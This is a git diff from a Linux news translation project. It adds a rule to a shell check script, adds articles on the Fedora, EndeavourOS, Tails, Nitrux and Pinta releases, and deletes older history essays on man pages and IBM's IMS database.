窗口管理器的 Fedora 官方定制版纳入 Fedora 38 的发布中。 + +根据 Budgie 和 Sway 的初步修改建议,我们可以期待很多变化。 + +对于 Budgie: + +- Fedora 38 将提供 Budgie 桌面环境,包含一套核心应用程序,如用于更新/软件包管理的 GNOME “软件”应用、一个文本编辑器、一个网页浏览器和一个终端。 +- 它还将使用 [Materia GTK][10] 和 [Papirus][11] 图标主题,整个系统采用 GTK 主题设计。 +- Budgie 定制版还将采用 lightdm + slick-gtk-greeter,以获得更直观的用户问候体验。 + +对于 Sway 定制版:它旨在提供一个极简体验,只包括默认配置之上的一些元素。 + +预期时间:随着 Fedora 38 的开发在未来几个月内的加快,你可以期待这些定制版在 2023 年 4 月期间出现。当然,会有预装了 Budgie 和 Sway 的单独 ISO 文件。 + +因此,我认为看到 Budgie 与 Fedora 的体验会非常吸引人,特别是当 Budgie 的开发似乎正在发生一些有趣的变化。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/fedora-budgie-sway-official/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2023/01/fedora-budgie-sway-spins-arrive.png +[2]: https://www.reddit.com/r/Fedora/comments/uq3gah/budgie_desktop_has_now_been_submitted_for/ +[3]: https://spins.fedoraproject.org +[4]: https://news.itsfoss.com/fedora-37-release/ +[5]: https://blog.buddiesofbudgie.org +[6]: https://swaywm.org +[7]: https://unlocator.com/favicon.ico +[8]: https://unlocator.com/wp-content/uploads/2019/05/unlocatoricon.jpg +[9]: https://lists.fedoraproject.org/archives/list/devel@lists.fedoraproject.org/thread/RNJZUX3ZI34DIX6E4PVDKYQWCOFDQ4UY/ +[10]: https://github.com/nana-4/materia-theme +[11]: https://github.com/PapirusDevelopmentTeam/papirus-icon-theme diff --git a/scripts/check/identify.sh b/scripts/check/identify.sh index baa250c179..1eeaf8fb28 100644 --- a/scripts/check/identify.sh +++ b/scripts/check/identify.sh @@ -69,6 +69,14 @@ rule_published_translation_revised() { && [ "$TOTAL" -eq 1 ] && echo "匹配规则:校对已发布译文" } +# 一步翻译发布 +rule_onestep() { + [ "$SRC_D" -eq 1 ] && [ "$PUB_A" -eq 1 ] \ + && ensure_identical SRC D PUB A 1 \ + && check_category SRC D \ + && [ "$TOTAL" -eq 2 ] && echo "匹配规则:一步翻译发布" +} + # 定义常见错误 # 未知错误 @@ -97,6 +105,7 @@ do_check() { || rule_translation_revised \ || rule_translation_published \ || rule_published_translation_revised \ + || rule_onestep \ || { error_translation_requested_multiple \ || error_translation_completed_multiple \ diff --git a/sources/news/20221220.4 ⭐️ EndeavourOS 'Cassini' Releases With New Features and Linux Kernel 6.0.md b/sources/news/20221220.4 ⭐️ EndeavourOS 'Cassini' Releases With New Features and Linux Kernel 6.0.md new file mode 100644 index 0000000000..c42c37b80c --- /dev/null +++ b/sources/news/20221220.4 ⭐️ EndeavourOS 'Cassini' Releases With New Features and Linux Kernel 6.0.md @@ -0,0 +1,133 @@ +[#]: subject: "EndeavourOS 'Cassini' Releases With New Features and Linux Kernel 6.0" +[#]: via: "https://news.itsfoss.com/endeavouros-cassini/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +EndeavourOS 'Cassini' Releases With New Features and Linux Kernel 6.0 +====== + +EndeavourOS's latest update has arrived! + +![EndeavourOS 'Cassini' Releases With New Features and Linux Kernel 6.0][1] + +EndeavourOS is a popular Arch-based Linux distribution that aims to make the Arch experience easy. + +Code-named 'Cassini', it signifies a new phase in EndeavourOS's development that aims to make the OS better than its previous iterations. + +Similar to a [previous release][2], this release is also named after one of NASA's [projects][3]. + +Let's see what makes this release so unique. + +Unlocator Smart DNSRemove geographic blocks from streaming services using Unlocator Smart DNS. Simple to use and with a full free trial included.![][4]Unlocator![][5] + +### 🆕 EndeavourOS 'Cassini': What's New? + +![endeavouros cassini][6] + +The 'Cassini' release packs plenty of improvements, some of the noteworthy highlights include: + +- **Improved ARM Support** +- **Linux Kernel 6.0** +- **Various User Interface Updates** +- **Updated Software Packages** + +#### Improved ARM Support + +![endeavouros cassini arm][7] + +EndeavourOS now features support for the [Pinebook Pro][8]. + +This was made possible by including the new 'linux-eos-arm' kernel that comes with the 'amdgpu' driver for supporting generic ARM devices. + +The developers also added that: + +> We’ve leveraged existing work and PKGBUIDs of both Manjaro ARM and archlinuxarm-pbp projects to create our Pinebook Pro images and would like to thank them for their continuing work in supporting PineBook Pro for Arch Linux ARM platform. + +Furthermore, EndeavourOS also has enhanced support for ARM devices like the [Phytiuim D2000][9], [Raspberry Pi][10], and [Odroid N2+][11]. + +#### 🎨 Various User Interface Updates + +![endeavouros cassini budgie][12] + +With this release, EndeavourOS has received quite a few user interface tweaks; some of the highlights include: + +- The 'Discover' icon was replaced with a 'Konsole' icon on KDE Plasma. +- [Qogir theme][13] is being used for icons in Cinnamon and Budgie. +- In the case of GNOME, the wallpaper follows night and day theme like the Console. +- The default wallpaper is now set by the 'settings' package instead of 'welcome'. +- A load of cleanup work for Calamares. + +#### Linux Kernel 6.0 + +EndeavourOS 'Cassini' features Linux Kernel 6.0.12.arch1-1, which enables it to have enhanced support for [OpenRISC][14] and [LoongArch][15] architectures. + +Alongside that, there is a noticeable uplift in performance for AMD EPYC, Ryzen Threadripper, and Intel Xeon Ice Lake chips. + +You can go through our coverage for more details: + +#### Updated Software Packages + +This release also features a lot of updated software, including: + +- Calamares 3.3.0-alpha3 +- Firefox 108.0.1-1 +- Mesa 22.3.1-1 +- Xorg-Server 21.1.5-1 +- nvidia-dkms 525.60.11-1 +- Grub 2:2.06.r403.g7259d55ff-1 + +#### 🛠️ Other Changes + +There were also a few other changes that I want to mention, such as: + +- [dracut][16] has replaced [mkinitcpio][17] to handle the installation process. +- You can now choose not to install a bootloader. +- You have two bootloader options to pick from, [systemd-boot][18] and [Grub][19]. +- The Grub submenu is now enabled by default. +- gedit and GNOME terminal have been replaced by [gnome-text-editor][20] and [GNOME Console][21]. + +### 📥 Download EndeavourOS Cassini + +You can find the latest release on the [official website][22] from one of the available mirrors. + +_💬 What do you think of this release? Was it worth the wait?_ + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/endeavouros-cassini/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/endeavour-os-cassini-release.png +[2]: https://news.itsfoss.com/endeavouros-artemis-release/ +[3]: https://solarsystem.nasa.gov/missions/cassini/overview/ +[4]: https://unlocator.com/favicon.ico +[5]: https://unlocator.com/wp-content/uploads/2019/05/unlocatoricon.jpg +[6]: https://news.itsfoss.com/content/images/2022/12/EndeavourOS-Cassini.jpg +[7]: https://news.itsfoss.com/content/images/2022/12/EndeavourOS-Cassini_ARM.png +[8]: https://itsfoss.com/pinebook-pro/ +[9]: https://phytium.com.cn/en/article/721 +[10]: https://www.raspberrypi.org +[11]: https://www.hardkernel.com/shop/odroid-n2-with-4gbyte-ram-2/ +[12]: https://news.itsfoss.com/content/images/2022/12/EndeavourOS-Cassini_2-1.jpg +[13]: https://github.com/vinceliuice/Qogir-theme +[14]: https://openrisc.io +[15]: https://en.wikipedia.org/wiki/Loongson +[16]: https://dracut.wiki.kernel.org/index.php/Main_Page +[17]: https://wiki.archlinux.org/title/mkinitcpio +[18]: https://www.freedesktop.org/wiki/Software/systemd/systemd-boot/ +[19]: https://www.gnu.org/software/grub/ +[20]: https://itsfoss.com/gnome-text-editor/ +[21]: https://gitlab.gnome.org/GNOME/console +[22]: https://endeavouros.com/latest-release/ diff --git a/sources/news/20221222.1 ⭐️ Tails 5.8 Arrives with Official Wayland Support.md b/sources/news/20221222.1 ⭐️ Tails 5.8 Arrives with Official Wayland Support.md new file mode 100644 index 0000000000..e55d86badd --- /dev/null +++ b/sources/news/20221222.1 ⭐️ Tails 5.8 Arrives with Official Wayland Support.md @@ -0,0 +1,74 @@ +[#]: subject: "Tails 5.8 Arrives with Official Wayland Support" +[#]: via: "https://debugpointnews.com/tails-5-8-release/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Tails 5.8 Arrives with Official Wayland Support +====== + +![][1] + +**A sizable update arrives in Tails 5.8, bringing Wayland support, newly redesigned persistence storage and more.** + +Tails, aka The Amnesic Incognito Live System, is a [privacy-focussed Linux Distribution][2] which uses the Tor network to protect you while browsing the web. Tails are based on Debian stable branch and come with many goodies such as an IRC client, Tor browser, email clients, and messengers to help you roam around on the web anonymously. + +![Tails 5.8 desktop][3] + +### What’s New in Tails 5.8 Release + +At a high level, Tails 5.8 includes significant redesigns of existing features, improved usability, and strengthened security. Also, bringing modern tech aligns with the changing times and needs of the hour. + +The persistence storage module gets a complete redesign in this release. In the new version of Persistent Storage, you no longer have to restart after creating a Persistent Storage or activating a new feature. You can also change the password for your Persistent Storage from within the application. Additionally, you can now create a Persistent Storage directly from the Welcome Screen if you don’t already have one. The Persistent Storage had not been updated much since its initial release in 2012 due to challenges in modifying and improving the code. + +The Tails team has also replaced the deprecated X.Org display system with Wayland. While you may not notice any visual changes, Wayland provides increased security for Tails by making it harder for a compromised application to compromise or misuse other applications. + +![Browse internet securely using Tails 5.8][4] + +For example, since Tails 4.8, the Unsafe Browser has been disabled by default due to a security vulnerability that could reveal your IP address and deanonymize you through the use of an invisible Unsafe Browser. Wayland addresses this vulnerability and makes it safe to enable the Unsafe Browser by default again. However, if desired, you can still disable the Unsafe Browser from the Welcome Screen. + +In addition to addressing security concerns, Wayland also introduces new features that were previously not supported in the Unsafe Browser, including sound, file uploads and downloads, alternative input methods for non-Latin languages such as Chinese, and accessibility features like the screen reader and virtual keyboard. + +The Tails team has also made it easier to enter new Tor bridges by allowing you to scan a QR code. You can obtain a QR code by sending an empty email to [bridges@torproject.org][5] from a Gmail or Riseup email address or by visiting [https://bridges.torproject.org/][6] and printing the QR code on paper. + +Furthermore, the entire Debian stable base is bumped up to the latest version, including pre-loaded apps. + +A complete changelog is available [here][7] if you want to dive deeper into the changes. + +### Download and upgrade + +If you are already running a prior version of the Tails 5.0 series, you should automatically get this update once you boot up Tails from the USB stick. + +In addition, if you want to install Tails 5.8 fresh, grab the ISO files from the below links: + +- [For USB sticks (USB image)][8] +- [For DVDs and virtual machines (ISO image)][9] + +Via [release announcement][10]. + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/tails-5-8-release/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed +[1]: https://debugpointnews.com/wp-content/uploads/2022/12/tails58head.jpg +[2]: https://www.debugpoint.com/privacy-linux-distributions-2022/ +[3]: https://debugpointnews.com/wp-content/uploads/2022/12/Tails-5.8-desktop.jpg +[4]: https://debugpointnews.com/wp-content/uploads/2022/12/Browse-internet-securely-using-Tails-5.8.jpg +[5]: https://debugpointnews.commailto:bridges@torproject.org +[6]: https://bridges.torproject.org/ +[7]: https://gitlab.tails.boum.org/tails/tails/-/blob/master/debian/changelog +[8]: https://tails.boum.org/install/download/index.en.html +[9]: https://tails.boum.org/install/download-iso/index.en.html +[10]: https://tails.boum.org/news/version_5.8/index.en.html diff --git a/sources/news/20230105.2 ⭐️ Nitrux 2.6.0 Takes Bold Steps Drops apt, Adds Flathub and Pipewire.md b/sources/news/20230105.2 ⭐️ Nitrux 2.6.0 Takes Bold Steps Drops apt, Adds Flathub and Pipewire.md new file mode 100644 index 0000000000..2a81845075 --- /dev/null +++ b/sources/news/20230105.2 ⭐️ Nitrux 2.6.0 Takes Bold Steps Drops apt, Adds Flathub and Pipewire.md @@ -0,0 +1,81 @@ +[#]: subject: "Nitrux 2.6.0 Takes Bold Steps: Drops apt, Adds Flathub and Pipewire" +[#]: via: "https://debugpointnews.com/nitrux-2-6-0-release/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Nitrux 2.6.0 Takes Bold Steps: Drops apt, Adds Flathub and Pipewire +====== + +![][1] + +**Nitrux 2.6.0 arrives with Flathub, Pipewire by default, latest Kernel and KDE framework.** + +![Nitrux 2.6.0 Desktop][2] + +[Nitrux Linux][3]is based on Debian, which features a modified version of the KDE Plasma desktop called NX Desktop. This unique Linux distribution brings its own set of Nitrux applications built upon Maui kit and Qt. Nitrux is systemd-free and uses OpenRC as an init system. With all these unique features and stunning looks, it is one of the best Linux distributions today. + +Nitrux 2.6.0 is bumped up to be a considerable major version due to critical updates since its prior release, 2.5.1 in December. + +### Nitrux 2.6.0: What’s New + +A major focus of this release is the introduction of the Plasma Wayland session in the SDDM display manager. It’s not default yet. But available as optional. X11 is still default. I believe in the next major release; the NItrux team can enable Wayland by default. + +In addition, the modern sound manager Pipewire is now default, as it was already standardized in Ubuntu and Fedora and feels stable. Thanks to Pipewire, your audio workflow will be much better. + +Nitrux 2.6.0 also enables the largest Flatpak app repo – Flathub, by default. That means you do not need to set up Flatpak & enable Flathub anymore manually. Installation of the Flatpak apps is now much easier. + +Other noteworthy changes include, Nitrux making the root (/) partition immutable to prevent it from breakage, the Samba package now part of Nitrux default install, and the Calamares installer getting a customized auto partition scheme. + +![Nitrux 2.6 install automatic partition][4] + +From the beginning, Nitrux prefers self-contained executables for its entire desktop components. The primary choice was the AppImage file format. You get Flathub set up by default in this release, whereas the popular apt package manager is now dropped. This might change some users’ workflow because the apt command won’t work; despite being based on Debian. + +Hence, the Nitrux team suggested using the Distrobox containers to set up the separate skeleton to be used with apt. However, it will be a little difficult for general users to understand the container, immutable root partition. + +![apt is not dropped][5] + +The irony is apt will be used during installation because Calamares needs it. However, it will be removed after installation is complete. + +> The Live ISO _includes APT and dpkg, but this is because Calamares needs them to complete the installation and will be removed from the installed system._Nitrux team + +At its core, Nitrux 2.6.0 features liqurix Kernel 6.1 aligned with gaming and multimedia. This version is powered by KDE Plasma 2.26.4, KDE Framework 5.101.0 and Qt 5.15.7 LTS. + +Detailed release notes are available [here][6] if you want to read more. + +### Download + +You can download this version from the following pages. However, there is no upgrade path available. Hence it is recommended to do a fresh installation. + +- [FOSS Torrents (Torrent)][7] +- [Sourceforge (mirror)][8] +- [OSDN (mirror)][9] + +Via [announcement][10] + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/nitrux-2-6-0-release/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed +[1]: https://debugpointnews.com/wp-content/uploads/2023/01/nitrux-head.jpg +[2]: https://debugpointnews.com/wp-content/uploads/2023/01/Nitrux-2.6.0-Desktop.jpg +[3]: https://nxos.org/ +[4]: https://debugpointnews.com/wp-content/uploads/2023/01/Nitrux-2.6-install-automatic-partition.jpg +[5]: https://debugpointnews.com/wp-content/uploads/2023/01/Screenshot-from-2023-01-05-13-44-57.png +[6]: https://nxos.org/notes/notes-nitrux-2-6-0 +[7]: https://fosstorrents.com/distributions/nitrux/ +[8]: https://sourceforge.net/projects/nitruxos/files/Release/ISO +[9]: https://osdn.net/projects/nitrux/releases/p18379 +[10]: https://nxos.org/changelog/release-announcement-nitrux-2-6-0/ diff --git a/sources/news/20230105.3 ⭐️ Pinta 2.1 Release Introduces WebP Support. But You Can't Use It Yet Unfortunately.md b/sources/news/20230105.3 ⭐️ Pinta 2.1 Release Introduces WebP Support. But You Can't Use It Yet Unfortunately.md new file mode 100644 index 0000000000..07be806ba7 --- /dev/null +++ b/sources/news/20230105.3 ⭐️ Pinta 2.1 Release Introduces WebP Support. But You Can't Use It Yet Unfortunately.md @@ -0,0 +1,100 @@ +[#]: subject: "Pinta 2.1 Release Introduces WebP Support. But You Can't Use It Yet Unfortunately" +[#]: via: "https://news.itsfoss.com/pinta-2-1-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Pinta 2.1 Release Introduces WebP Support. But You Can't Use It Yet Unfortunately +====== + +Pinta 2.1 comes with WebP support and various other useful improvements. + +![Pinta 2.1 Release Introduces WebP Support. But You Can't Use It Yet Unfortunately][1] + +Pinta is a free and open-source drawing app for Linux that offers a ton of features in a relatively small package. + +It is one of the [best Linux tools for digital artists][2] available. + +Its last major release was in January 2022, introducing improved Hi DPI support, GTK 3 port, and [more][3]. + +Marking 2023's first release, Pinta 2.1 promises to offer even further refinements. + +**Notice the new Pinta icon in the image above? Well, that's one of the changes.** + +Let's see how this release pans out. + +### 🆕 What's New in Pinta 2.1? + +![pinta 2.1][4] + +[Pinta 2.1][5] is offering plenty of new improvements; some notable ones include: + +- **WebP Support** +- **Improved .ora Support** +- **Enhanced Handles** +- **Dark Mode** +- **Improved File Dialog** +- **Various Bug Fixes and Changes** + +**WebP Support:** Pinta finally has support for WebP files, but it does not come out of the box. For Linux users, the [webp-pixbuf-loader][6]**dependency is required to enable WebP support.** + +> 📋 Unfortunately, WebP support is not included in the Flatpak and Snap builds of Pinta 2.1. Even if you have that library installed on your system. So, you probably have to build it from the source or use WebP files on Windows/macOS only. + +**Improved .ora Support:** With Pinta 2.1, hidden layers are now round-tripped properly for .ora files. + +Furthermore, when you save a .ora file, a flattened image is now included in the archive. + +It is like this because it is required by the spec to accommodate the viewer software. + +**Enhanced Handles:** The selection move and shape control point handles are now more intuitive, especially when working on zoomed-in or small images. + +**Dark Mode:** Pinta has finally received full support for dark mode across the app; all icons, toolbars, dialogs, etc., are now in high-res SVG format. + +**Improved File Dialog:** The file dialog now uses MIME types on Linux, allowing valid image files with unknown extensions to be included in the image file filter. + +**Various Bug Fixes and Changes:** Apart from the changes I listed above, here are some that are also worth mentioning: + +- Upgraded to .NET 7. +- New '**Transparency Mode**' in Gradient Tool. +- Standard GTK about dialog. +- The gradient tool now updates properly while drawing transparent colors. +- The new screenshot command now uses the XDG portal. + +If you want to go deep into the technical details of the release, head to its [release notes][7]. + +### 📥 Download Pinta 2.1 + +Pinta 2.1 is available in the [Snap store][8], as well as on [Flathub][9]. The repositories include an outdated back, so you can safely ignore it. + +You can also try building it from the [source code][10] and explore other download options for Windows/macOS. + +[Download Pinta 2.1][11] + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/pinta-2-1-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2023/01/pinta-2-1-release.png +[2]: https://itsfoss.com/best-linux-graphic-design-software/ +[3]: https://news.itsfoss.com/pinta-2-0-release/ +[4]: https://news.itsfoss.com/content/images/2023/01/Pinta_2.1.png +[5]: https://www.pinta-project.com +[6]: https://github.com/aruiz/webp-pixbuf-loader/ +[7]: https://github.com/PintaProject/Pinta/releases/tag/2.1 +[8]: https://snapcraft.io/pinta +[9]: https://flathub.org/apps/details/com.github.PintaProject.Pinta +[10]: https://github.com/PintaProject/Pinta +[11]: https://www.pinta-project.com/releases/ + diff --git a/sources/talk/20170928 The Lineage of Man.md b/sources/talk/20170928 The Lineage of Man.md deleted file mode 100644 index de2cc7515e..0000000000 --- a/sources/talk/20170928 The Lineage of Man.md +++ /dev/null @@ -1,113 +0,0 @@ -The Lineage of Man -====== -I’ve always found man pages fascinating. Formatted as strangely as they are and accessible primarily through the terminal, they have always felt to me like relics of an ancient past. Some man pages probably are ancient: I’d love to know how many times the man page for `cat` or say `tee` has been revised since the early days of Unix, but I’m willing to bet it’s not many. Man pages are mysterious—it’s not obvious where they come from, where they live on your computer, or what kind of file they might be stored in—and yet it’s hard to believe that something so fundamental and so obviously governed by rigid conventions could remain so inscrutable. Where did the man page conventions come from? Where are they codified? If I wanted to write my own man page, where would I even begin? - -The story of `man` is inextricably tied to the story of Unix. The very first version of Unix, completed in 1971 but only available internally at Bell Labs, did not provide a `man` command. But Douglas McIlroy, who at the time was head of the Computing Techniques Research Department and managed the Unix project, insisted that some kind of documentation be made available. He pushed Ken Thompson and Dennis Ritchie, the two programmers commonly credited with creating Unix, to write some. The result was the [first edition][1] of the Unix Programmer’s Manual. - -The first edition of the Unix Programmer’s Manual consisted of (physical!) pages collected together in a single binder. It documented only 61 different commands, along with a couple dozen system calls and a few library routines. Though the `man` command itself was not to come until later, the first edition of the Unix Programmer’s Manual established many of the conventions that man pages adhere to today, even in the absence of an official specification. The documentation for each command included the well-known NAME, SYNOPSIS, DESCRIPTION, and SEE ALSO headings. Optional flags were enclosed in square brackets and meta-arguments (for example, “file” where a file path is expected) were underlined. The manual also established the canonical manual sections such as Section 1 for General Commands, Section 2 for System Calls, and so on; these sections were, at the time, simply sections of a very long printed document. Thompson and Ritchie could not have known that they were establishing a tradition that would survive for decades and decades, but that is what they did. - -McIlroy later speculated about why the man page format has survived as long as it has. In a technical report about the conceptual development of Unix, he noted that the original man pages were written in a “terse, yet informal, prose style” that together with the alphabetical ordering of information “encouraged accurate on-line documentation.” In a nod to an experience with man pages that all programmers have had at one time or another, he added that the man page format “was popular with initiates who needed to look up facts, albeit sometimes frustrating for beginners who didn’t know what facts to look for.” McIlroy was highlighting the sometimes-overlooked distinction between tutorial and reference; man pages may not be much use for the former, but they are perfect for the latter. - -The `man` command was a part of Unix by the time the [second edition][2] of the Unix Programmer’s Manual was printed. It made the entire manual available “on-line”, meaning interactively, which was seen as enormously useful. The `man` command has its own manual page in the second edition (this page is the original `man man`), which explains that `man` can be used to “run off a particular section of this manual.” Among the original Unix wizards, the term “run off” referred to the physical act of printing a document but also to the program they used to typeset documents, `roff`. The `roff` program had been used to typeset both the first and second editions of the Unix Programmer’s Manual before they were printed, but it was now also used by `man` to process man pages before they were displayed. The man pages themselves were stored on every Unix system in a file format meant to be read by `roff`. - -`roff` was the first in a long lineage of typesetting programs that have always been used to format man pages. Its own development can be traced back to a program called `RUNOFF` that was written in the mid-60s. At Bell Labs, `roff` spawned several successors including `nroff` (en-roff) and `troff` (tee-roff). `nroff` was designed to improve on `roff` and better output text to terminals, while `troff` tackled the problem of printing using a CAT phototypesetter. (If you don’t know what phototypesetting is, as I did not, I refer you to [this][3] eminently watchable film.) All of these programs were based on a kind of markup language consisting of two-letter commands inserted at the beginning of every line in a document. These commands could control such things as font size, text positioning, line spacing, and so on. Today, the most common implementation of the `roff` system is `groff`, a part of the GNU project. - -It’s easy to get a sense of what `roff` input files look like by just taking a gander at some of the man pages stored on your own computer. At least on a BSD-derived system like MacOS, you can use the `--path` argument to `man` to find out where the man page for a particular command is stored. Typically this will be under `/usr/share/man` or `/usr/local/share/man`. Using `man` this way, you can find the path for the `man` man page itself and then open it in a text editor. It will not look anything like what you’re used to looking at with `man`. On my system, the first couple dozen lines are: - -``` -.TH man 1 "September 19, 2005" -.LO 1 -.SH NAME -man \- format and display the on-line manual pages -.SH SYNOPSIS -.B man -.RB [ \-acdfFhkKtwW ] -.RB [ --path ] -.RB [ \-m -.IR system ] -.RB [ \-p -.IR string ] -.RB [ \-C -.IR config_file ] -.RB [ \-M -.IR pathlist ] -.RB [ \-P -.IR pager ] -.RB [ \-B -.IR browser ] -.RB [ \-H -.IR htmlpager ] -.RB [ \-S -.IR section_list ] -.RI [ section ] -.I "name ..." - -.SH DESCRIPTION -.B man -formats and displays the on-line manual pages. If you specify -.IR section , -.B man -only looks in that section of the manual. -.I name -is normally the name of the manual page, which is typically the name -of a command, function, or file. -However, if -.I name -contains a slash -.RB ( / ) -then -.B man -interprets it as a file specification, so that you can do -.B "man ./foo.5" -or even -.B "man /cd/foo/bar.1.gz\fR.\fP" -.PP -See below for a description of where -.B man -looks for the manual page files. -``` - -You can make out, for example, that all of the section headings are preceded by `.SH`, and everything that would appear in bold is preceded by `.B`. These commands are `roff` macros specifically designed for writing man pages. The macros used here are part of a package called `man`, but there are other packages such as `mdoc` that you can use for the same purpose. The macros make writing man pages much simpler than it would otherwise be. They also enforce consistency by always compiling down to the same set of lower-level `roff` commands. The `man` and `mdoc` packages are now documented under [GROFF_MAN(7)][4] and [GROFF_MDOC(7)][5] respectively. - -The entire `roff` system is reminiscent of LaTeX, another typesetting tool that today enjoys much more popularity. LaTeX is essentially a big bucket of macros built on top of the core TeX system designed by Donald Knuth. Like with `roff`, there are many other macro packages that you can incorporate into your LaTeX documents. These macro packages mean that you almost never have to write raw TeX yourself. LaTeX has superseded `roff` in many domains, but it is poorly suited to formatting text for a terminal, so nobody uses it to write man pages. - -If you were to write a man page today, in 2017, how would you go about it? You certainly could write a man page using a `roff` macro package like `man` or `mdoc`. The syntax is unfamiliar and unwieldy. But the macros abstract away so much of the complexity that you can write a reasonably complete man page without learning very many commands. That said, there are now other options worth considering. - -[Pandoc][6] is a widely used software tool for converting documents from one format to another. You can use Pandoc to convert Markdown files into `man`-macro-based man pages, meaning that you can now write your man pages in something as straightforward as Markdown. Pandoc supports many more Markdown constructs than most Markdown converters, giving you lots of ways to format your man page. While this convenience comes at the cost of some control, it’s unlikely that you will ever need something that would warrant dropping down to the `roff` macro level. If you’re curious about what these Markdown files might look like, I’ve written [a few of my own][7] to document a tool I created for keeping notes on how to use different command-line utilities. NPM’s [documentation][8] is also written in Markdown and converted to a `roff` man format later, though they use a JavaScript package called [marked-man][9] instead of Pandoc to do the conversion. - -So there are now plenty of ways to write man pages, giving you lots of freedom to choose the tool you think best. That said, you’d better ensure that your man page reads like every other man page that has ever been written. Even though there is now so much flexibility in tooling, the man page conventions are as strong as ever. And you might be tempted to skip writing a man page altogether—after all, you probably have documentation on the web, or maybe you just want to rely on the `--help` flag—but you’re forgoing the patina of respectability a man page can provide. The man page is an institution that doesn’t seem likely to disappear or evolve soon, which is fascinating, because there are so many ways in which we could do man pages better. XML didn’t come off well in my [last post][10], but it would be the perfect format here, and it would allow us to do something like query `man` about an option: - -``` -$ man grep -v -Selected lines are those not matching any of the specified patterns. -``` - -Imagine that! But it seems that we’re all too used to man pages the way they are. In a field where rapid change is the norm, maybe some stability—particularly in a documentation system we all turn to in moments of ignorance and confusion—is a good thing. - -If you enjoyed this post, more like it come out every two weeks! Follow [@TwoBitHistory][11] on Twitter or subscribe to the [RSS feed][12] to make sure you know when a new post is out. - --------------------------------------------------------------------------------- - -via: https://twobithistory.org/2017/09/28/the-lineage-of-man.html - -作者:[Two-Bit History][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://twobithistory.org -[b]: https://github.com/lujun9972 -[1]: https://www.bell-labs.com/usr/dmr/www/1stEdman.html -[2]: http://bitsavers.informatik.uni-stuttgart.de/pdf/att/unix/2nd_Edition/UNIX_Programmers_Manual_2ed_Jun72.pdf -[3]: https://vimeo.com/127605644 -[4]: http://man7.org/linux/man-pages/man7/groff_man.7.html -[5]: http://man7.org/linux/man-pages/man7/groff_mdoc.7.html -[6]: http://pandoc.org/ -[7]: https://github.com/sinclairtarget/um/tree/02365bd0c0a229efb936b3d6234294e512e8a218/doc -[8]: https://github.com/npm/npm/blob/20589f4b028d3e8a617800ac6289d27f39e548e8/doc/cli/npm.md -[9]: https://www.npmjs.com/package/marked-man -[10]: https://twobithistory.org/2017/09/21/the-rise-and-rise-of-json.html -[11]: https://twitter.com/TwoBitHistory -[12]: https://twobithistory.org/feed.xml diff --git a/sources/talk/20171007 The Most Important Database You-ve Never Heard of.md b/sources/talk/20171007 The Most Important Database You-ve Never Heard of.md deleted file mode 100644 index f429aba373..0000000000 --- a/sources/talk/20171007 The Most Important Database You-ve Never Heard of.md +++ /dev/null @@ -1,50 +0,0 @@ -The Most Important Database You've Never Heard of -====== -In 1962, JFK challenged Americans to send a man to the moon by the end of the decade, inspiring a heroic engineering effort that culminated in Neil Armstrong’s first steps on the lunar surface. Many of the fruits of this engineering effort were highly visible and sexy—there were new spacecraft, new spacesuits, and moon buggies. But the Apollo Program was so staggeringly complex that new technologies had to be invented even to do the mundane things. One of these technologies was IBM’s Information Management System (IMS). - -IMS is a database management system. NASA needed one in order to keep track of all the parts that went into building a Saturn V rocket, which—because there were two million of them—was expected to be a challenge. Databases were a new idea in the 1960s and there weren’t any already available for NASA to use, so, in 1965, NASA asked IBM to work with North American Aviation and 